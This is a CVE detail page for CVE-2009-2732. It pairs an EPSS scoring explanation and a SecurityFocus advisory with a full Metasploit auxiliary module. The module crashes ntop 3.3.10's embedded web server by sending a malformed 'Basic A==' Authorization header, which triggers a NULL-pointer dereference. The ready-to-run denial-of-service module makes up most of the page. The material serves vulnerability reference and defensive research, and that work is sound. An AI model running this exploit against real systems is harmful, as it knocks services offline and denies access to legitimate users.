CVE-2009-2732 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/36074/info The 'ntop' tool is prone to a denial-of-service vulnerability because of a NULL-pointer dereference that occurs when crafted HTTP Basic Authentication credentials are received by the embedded webserver. An attacker can exploit this issue to crash the affected application, denying service to legitimate users. This issue affects ntop 3.3.10; other versions may also be affected. require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Dos def initialize(info = {}) super(update_info(info, 'Name' => 'NTOP <= 3.3.10 Basic Authorization DoS', 'Description' => %q{ A denial of service condition can be reached by specifying an invalid value for the Authorization HTTP header. When ntop recieves this, it attempts to base64 decode the value then split it based on a colon. When no colon exists in the decoded string the username is left at its default NULL value. During the authentication process the length of the username is computed via strlen(), which results in a segmentation fault when it processes the null value. }, 'Author' => 'Brad Antoniewicz <[email protected]>', 'License' => MSF_LICENSE, 'Version' => '1', 'References' => [ [ 'BID', 'None'], [ 'CVE', 'CVE-2009-2732'] ], 'DisclosureDate' => 'Aug 08 2009')) register_options( [Opt::RPORT(3000),], self.class ) end def run begin o = { 'uri' => '/configNtop.html', 'headers' => { 'Authorization' => 'Basic A==' } } c = connect(o) c.send_request(c.request_raw(o)) print_status("Request sent to #{rhost}:#{rport}") rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout print_status("Couldn't connect to #{rhost}:#{rport}") rescue ::Timeout::Error, ::Errno::EPIPE end end end